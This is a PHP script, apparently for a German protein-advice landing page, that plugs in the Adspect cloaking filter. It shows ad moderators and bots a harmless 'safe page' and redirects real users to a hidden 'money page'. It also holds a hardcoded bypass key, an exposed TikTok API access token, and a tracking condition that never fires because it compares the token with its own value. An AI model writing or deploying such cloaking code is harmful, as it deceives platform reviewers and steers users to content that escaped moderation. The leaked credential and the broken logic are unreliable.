<?php
// Adspect Reverse PHP Integration для TikTok
// proteinratgeber.online

// TikTok Credentials для Events API
$TIKTOK_PIXEL_ID = 'D5655P3C77U9GK0PFV10';
$TIKTOK_ACCESS_TOKEN = '9a702551733deda1c457f5be3bd12fc8b5d9115a';

// Bypass key для тестирования
if (isset($_GET['xkey']) && $_GET['xkey'] === 'nkr2025access') {
    header('Content-Type: text/html; charset=UTF-8');
    readfile(__DIR__ . '/index.html');
    exit;
}

// Получаем ttclid для TikTok Events API
$ttclid = $_GET['ttclid'] ?? '';

// Регистрируем отправку ViewContent при редиректе
register_shutdown_function(function() use ($TIKTOK_PIXEL_ID, $TIKTOK_ACCESS_TOKEN, $ttclid) {
    $headers = headers_list();
    $is_redirect = false;
    
    foreach ($headers as $header) {
        if (stripos($header, 'Location:') === 0) {
            $is_redirect = true;
            break;
        }
    }
    
    // Если редирект = реальный пользователь, отправляем ViewContent
    if ($is_redirect && $TIKTOK_ACCESS_TOKEN !== '9a702551733deda1c457f5be3bd12fc8b5d9115a') {
        $event_data = [
            'event_source' => 'web',
            'event_source_id' => $TIKTOK_PIXEL_ID,
            'data' => [[
                'event' => 'ViewContent',
                'event_time' => time(),
                'event_id' => 'view_' . uniqid(),
                'user' => [
                    'ttclid' => $ttclid ?: null,
                    'ip' => $_SERVER['REMOTE_ADDR'],
                    'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
                ],
                'page' => [
                    'url' => 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
                ],
                'properties' => [
                    'content_type' => 'product',
                    'content_name' => 'Protein Ratgeber',
                ],
            ]],
        ];
        
        $ch = curl_init('https://business-api.tiktok.com/open_api/v1.3/event/track/');
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($event_data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Content-Type: application/json',
            'Access-Token: ' . $TIKTOK_ACCESS_TOKEN,
        ]);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 2);
        curl_exec($ch);
        curl_close($ch);
    }
});

// Подключаем Adspect filter.php
$filter_file = __DIR__ . '/filter.php';

if (!file_exists($filter_file)) {
    // Если filter.php нет - показываем safe page
    header('Content-Type: text/html; charset=UTF-8');
    readfile(__DIR__ . '/index.html');
    exit;
}

// Adspect фильтрация:
// - GOOD трафик → filter.php делает редирект на money page
// - BAD трафик → управление возвращается сюда
require_once $filter_file;

// Если дошли сюда = модератор/бот, показываем safe page
header('Content-Type: text/html; charset=UTF-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: Thu, 01 Jan 1970 00:00:00 GMT');
readfile(__DIR__ . '/index.html');
exit;
?>
